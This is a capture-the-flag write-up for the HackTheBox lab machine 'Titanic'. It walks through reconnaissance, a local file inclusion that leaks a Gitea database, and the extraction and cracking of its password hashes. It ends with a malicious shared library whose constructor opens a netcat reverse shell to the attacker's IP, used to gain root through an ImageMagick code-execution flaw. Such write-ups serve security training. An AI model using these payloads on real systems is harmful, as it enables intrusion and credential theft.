HackTheBox | Titanic
In this writeup, I demonstrate how to gain root level access to Titanic on HackTheBox.

https://www.hackthebox.com/achievement/machine/1386836/648
Reconnaissance
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~]
└──╼ [★]$ target_ip=10.129.211.172
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~]
└──╼ [★]$ target_domain=titanic.htb
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ echo -e "$target_ip\t$target_domain" | sudo tee -a /etc/hosts
10.129.211.172 titanic.htb
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ sudo nmap -sC -sV -oA nmap/full.tcp -p- $target_ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-18 13:40 CST
Nmap scan report for 10.129.211.172
Host is up (0.011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds
Initial Access
Discovering a Local File Inclusion (LFI) Vulnerability
Before navigating to the target system's web server, I started Burp Suite to proxy all web traffic. It is good practice to have automated reconnaissance running in the background, so a directory brute force was started. With Burp Suite's built-in web browser, I navigated to the target domain.
Manual enumeration revealed a "Book Now" form where users could provide their name, email, phone number, travel date, and cabin type. Once the form is submitted, a .json
file is automatically downloaded. This file contains the user's booking information.
To better understand what is going on, I looked at the HTTP history in Burp Suite. A POST
request is made when the user submits a booking request. The target web server responds with an HTTP 302 FOUND
status code and redirects the user to a new URL based on the Location
header. This is what causes the automatic download of the .json
file. The GET
request has a ticket
parameter specifying the file viewed/downloaded. This functionality can be abused to read local files on the target system by providing the absolute path.
I attempted to read various files on the target system that contained sensitive information. However, I could not locate anything useful so I continued to enumerate the target system.






Pillaging a Gitea Instance
The initial directory brute force did not reveal anything promising, so I did a subdomain brute force. This led to the discovery of a dev
subdomain. After adding it to my /etc/hosts
file, I was able to access a Gitea instance. There, I found the source code for the target application, which confirmed that the system is vulnerable to a local file inclusion (LFI) attack.
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ ffuf -H "Host: FUZZ.$target_domain" -c -w "/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt" -u http://$target_domain -fw 20
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://titanic.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.titanic.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 20
________________________________________________
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 19ms]
:: Progress: [4989/4989] :: Job [1/1] :: 4651 req/sec :: Duration: [0:00:01] :: Errors: 0 ::


Additionally, the Gitea instance had Docker compose files for Gitea and MySQL. The LFI was used to confirm the existence of these files on the target system. The one I was most interested in was for Gitea itself.
The Gitea Docker compose file had a volume that mapped /home/developer/gitea/data
to /data
in the Docker container. Docker volumes provide a mechanism for persistent data generated by and used for Docker containers. Per the Gitea documentation, all customization files will be placed in the /data/gitea
directory. The configuration file for the Gitea instance can be found in /data/gitea/conf/app.ini
, relative to the Docker container. Due to the Docker volume, this file can be viewed relative to the target system by replacing /data
with /home/developer/gitea
, resulting in the file's absolute path being `/home/developer/gitea/data/gitea/conf/app.ini.



Execution
Extracting Credentials from a Gitea Database File
In the configuration file, the path to the Gitea database is PATH = /data/gitea/gitea.db
. With the LFI, I am able to view and download the database file to my local system. To do so, simply save the response and delete all headers. With the file
command I verify that the database was not corrupted and connect to it. The database contained a list of users and their password hashes.
With some command-line magic, I was able to extract the required information from the database file and store it in a format suitable for Hashcat to crack. And just like that, I had credentials that could be used to access the target system via SSH.


┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ vi gitea.db
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ file gitea.db
gitea.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 562, database pages 509, cookie 0x1d9, schema 4, UTF-8, version-valid-for 562
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ sqlite3 gitea.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
sqlite> .schema user
sqlite> .mode line
sqlite> select * from user;
id = 1
lower_name = administrator
name = administrator
full_name =
email = root@titanic.htb
keep_email_private = 0
email_notifications_preference = enabled
passwd = cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
passwd_hash_algo = pbkdf2$50000$50
must_change_password = 0
login_type = 0
login_source = 0
login_name =
type = 0
location =
website =
rands = 70a5bd0c1a5d23caa49030172cdcabdc
salt = 2d149e5fbd1b20cf31db3e3c6a28fc9b
language = en-US
description =
created_unix = 1722595379
updated_unix = 1722597477
last_login_unix = 1722597477
last_repo_visibility = 0
max_repo_creation = -1
is_active = 1
is_admin = 1
is_restricted = 0
allow_git_hook = 0
allow_import_local = 0
allow_create_organization = 1
prohibit_login = 0
avatar = 2e1e70639ac6b0eecbdab4a3d19e0f44
avatar_email = root@titanic.htb
use_custom_avatar = 0
num_followers = 0
num_following = 0
num_stars = 0
num_repos = 0
num_teams = 0
num_members = 0
visibility = 0
repo_admin_change_team_access = 0
diff_view_style =
theme = gitea-auto
keep_activity_private = 0
id = 2
lower_name = developer
name = developer
full_name =
email = developer@titanic.htb
keep_email_private = 0
email_notifications_preference = enabled
passwd = e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
passwd_hash_algo = pbkdf2$50000$50
must_change_password = 0
login_type = 0
login_source = 0
login_name =
type = 0
location =
website =
rands = 0ce6f07fc9b557bc070fa7bef76a0d15
salt = 8bf3e3452b78544f8bee9400d6936d34
language = en-US
description =
created_unix = 1722595646
updated_unix = 1722603397
last_login_unix = 1722603397
last_repo_visibility = 0
max_repo_creation = -1
is_active = 1
is_admin = 0
is_restricted = 0
allow_git_hook = 0
allow_import_local = 0
allow_create_organization = 1
prohibit_login = 0
avatar = e2d95b7e207e432f62f3508be406c11b
avatar_email = developer@titanic.htb
use_custom_avatar = 0
num_followers = 0
num_following = 0
num_stars = 0
num_repos = 2
num_teams = 0
num_members = 0
visibility = 0
repo_admin_change_team_access = 0
diff_view_style =
theme = gitea-auto
keep_activity_private = 0
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ cat gitea.hashes | cut -d ":" -f2- | tee hashcat_gitea.hashes
sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ hashcat hashcat_gitea.hashes /usr/share/wordlists/rockyou.txt
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ ssh developer@titanic.htb
Privilege Escalation
Non-Standard Scripts and Cron Jobs
While enumerating the target system, I discovered a non-standard script in the /opt
directory. The script changes directories into /opt/app/static/assets/images
, effectively clears the metadata.log
file, lists all .jpg
s in the /opt/app/static/assets/images
directory and runs /usr/bin/magick identify
on each file while appending the output to the metadata.log
file.
Running watch -n 30 -d ls -latr /opt/app/static/assets/images/metadata.log
shows the file's timestamp updating every minute. This behavior hints at the script being run every minute via a cron job. The developer
user did not have any associated cron jobs running the script, so hopefully it is running as root
because it turns out that the specific version of magick
running on the target system allows for arbitrary code execution.
developer@titanic:~$ ls -latr /opt/scripts/
total 12
-rwxr-xr-x 1 root root 167 Feb 3 17:11 identify_images.sh
drwxr-xr-x 2 root root 4096 Feb 7 10:37 .
drwxr-xr-x 5 root root 4096 Feb 7 10:37 ..
developer@titanic:~$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
developer@titanic:~$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
Loading a Malicious Shared Library
The following shared library was created in the working directory of the script. After a minute or so the script ran and got a shell as root
.
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("busybox nc 10.10.14.63 9001 -e sh");
exit(0);
}
EOF

References
- Gitea Documentation - https://docs.gitea.com/installation/install-with-docker
- Cracking Gitea Hashes- https://0xdf.gitlab.io/2024/12/14/htb-compiled.html
- Arbitrary Code Execution in
AppImage
versionImageMagick
- https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8